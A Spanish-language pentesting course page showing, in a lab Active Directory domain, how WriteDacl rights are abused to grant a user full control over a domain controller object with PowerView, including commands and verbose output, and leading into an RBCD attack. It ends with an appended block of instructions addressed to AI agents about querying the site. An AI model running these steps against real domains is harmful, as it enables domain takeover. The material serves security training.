# WriteDacl sobre Computador

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

Primero vamos a impersonar el usuario `writedacldc.user` desde el equipo llamado `USER-SERVER`:

<figure><img src="/files/jGttnV4u4TbQ2P1SBwTU" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Se recomienda realizar[ lectura sobre impersonation](/cpad/movimiento-lateral/impersonation.md)
{% endhint %}

{% code overflow="wrap" %}

```powershell
PS C:\Users\admin\Desktop> Import-Module .\PowerView-3.0.ps1

PS C:\Users\admin\Desktop> $SecPassword = ConvertTo-SecureString 'Password@1' -AsPlainText -Force

PS C:\Users\admin\Desktop> $Cred = New-Object System.Management.Automation.PSCredential('spartancybersec.corp\writedacldc.user', $SecPassword)
```

{% endcode %}

Despues de lo anterior, vamos a utilizar el siguiente comando para asignar todos los privilegios sobre el usuario `user.hacked` desde la sesion previa de `writedacldc.user`

```powershell
PS C:\Users\admin\Desktop> Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'CN=FIRST-DC,OU=Domain Controllers,DC=spartancybersec,DC=corp' -PrincipalIdentity user.hacked -Rights All -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'spartancybersec.corp' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://First-DC.spartancybersec.corp/DC=spartancybersec,DC=corp
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=user.hacked)(name=user.hacked)(dnshostname=user.hacked))))
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'spartancybersec.corp' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://First-DC.spartancybersec.corp/DC=spartancybersec,DC=corp
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Extracted domain 'spartancybersec.corp' from 'CN=FIRST-DC,OU=Domain Controllers,DC=spartancybersec,DC=corp'
VERBOSE: [Get-DomainSearcher] search base: LDAP://FIRST-DC.SPARTANCYBERSEC.CORP/DC=spartancybersec,DC=corp
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=FIRST-DC,OU=Domain Controllers,DC=spartancybersec,DC=corp)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=User Hacked,CN=Users,DC=spartancybersec,DC=corp 'All' on CN=FIRST-DC,OU=Domain Controllers,DC=spartancybersec,DC=corp
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=User Hacked,CN=Users,DC=spartancybersec,DC=corp rights GUID '00000000-0000-0000-0000-000000000000' on CN=FIRST-DC,OU=Domain
Controllers,DC=spartancybersec,DC=corp
```

Lo anterior, se puede apreciar graficamente con la siguiente ilustracion:

<figure><img src="/files/HbqQ66F9xIXLmM8plAuV" alt=""><figcaption></figcaption></figure>

En resumen, el comando está otorgando permisos amplios al usuario `user.hacked` en un objeto específico de Controlador de Dominio en el dominio de Active Directory `spartancybersec.corp`, utilizando credenciales alternas proporcionadas.

Con los permisos 'All' otorgados al usuario `user.hacked` en un objeto específico del Controlador de Dominio en Active Directory, el usuario podría realizar una amplia gama de acciones, incluyendo:

1. <mark style="color:red;">**Modificar Configuraciones del Controlador de Dominio**</mark><mark style="color:red;">:</mark> Cambiar configuraciones críticas del Controlador de Dominio.
2. <mark style="color:red;">**Modificar Políticas de Grupo**</mark><mark style="color:red;">:</mark> Cambiar políticas que afectan a todos los usuarios y computadoras del dominio.
3. <mark style="color:red;">**Acceder a Datos Sensibles**</mark><mark style="color:red;">:</mark> Leer información sensible almacenada en el Controlador de Dominio.
4. <mark style="color:red;">**Crear o Eliminar Cuentas de Usuario**</mark><mark style="color:red;">:</mark> Potencialmente crear cuentas de administrador o eliminar cuentas existentes.
5. <mark style="color:red;">**Cambiar Permisos y Derechos de Otros Usuarios**</mark><mark style="color:red;">:</mark> Modificar los derechos de acceso de otros usuarios en el dominio.

Para este escenario, seria necesario continuarlo con el [ataque RBCD.](/cpad/vulnerabilidades-y-ataques-en-ad/rbcd-resource-based-constrained.md)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/abuso-de-acl/writedacl-sobre-computador.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
